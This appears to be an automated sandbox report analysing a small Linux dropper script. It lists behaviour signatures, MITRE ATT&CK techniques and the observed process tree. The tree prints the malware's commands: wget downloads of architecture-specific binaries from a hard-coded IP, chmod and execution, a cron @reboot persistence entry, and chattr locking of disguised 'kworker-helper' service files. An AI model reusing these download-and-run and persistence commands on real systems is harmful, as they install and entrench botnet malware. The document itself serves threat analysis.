Analysis
- max time kernel
148s - max time network
152s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
12/07/2026, 02:43
General
- Target callaputa.sh
- Size 1KB
- Sample260712-c7xsysb13q
- SHA256 01c727469c703060764c88239e7a02fbc9582ba31a3a4a44c958958521bcad58
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 11 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 8 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Modifies Bash startup script 2 TTPs 8 IoCs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Changes its process name 1 IoCs
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/callaputa.sh/tmp/callaputa.sh1⤵
- Executes dropped EXE
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.arm2⤵
- File and Directory Permissions Modification
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/tmp/putita.arm./putita.arm2⤵
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.x86_642⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.x86_642⤵
- File and Directory Permissions Modification
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/tmp/putita.x86_64./putita.x86_642⤵
- Deletes itself
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads runtime system information
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/bin/shsh -c "crontab -l 2>/dev/null"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/lib/kworker-helper') | crontab - 2>/dev/null"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/usr/bin/crontabcrontab -l4⤵
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.x862⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.x862⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.sh42⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.sh42⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.ppc2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.ppc2⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.mpsl2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.mpsl2⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod +x putita.mips2⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.m68k2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.m68k2⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm72⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.arm72⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm62⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.arm62⤵
- File and Directory Permissions Modification
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm52⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.arm52⤵
- File and Directory Permissions Modification
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/usr/bin/chattrchattr +i /etc/init.d/kworker-helper1⤵
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/usr/bin/chattrchattr +i /etc/systemd/system/kworker-helper.service1⤵
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/bin/busyboxchattr +i /usr/lib/kworker-helper1⤵
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/bin/busyboxchattr +i /etc/init.d/kworker-helper1⤵
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/bin/busyboxchattr +i /etc/systemd/system/kworker-helper.service1⤵
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/usr/bin/chattrchattr +i /usr/lib/kworker-helper1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
kworker-helper
kworker-helper.service
.ashrc
putita.arm
kworker-helper
tmp.ZD17MU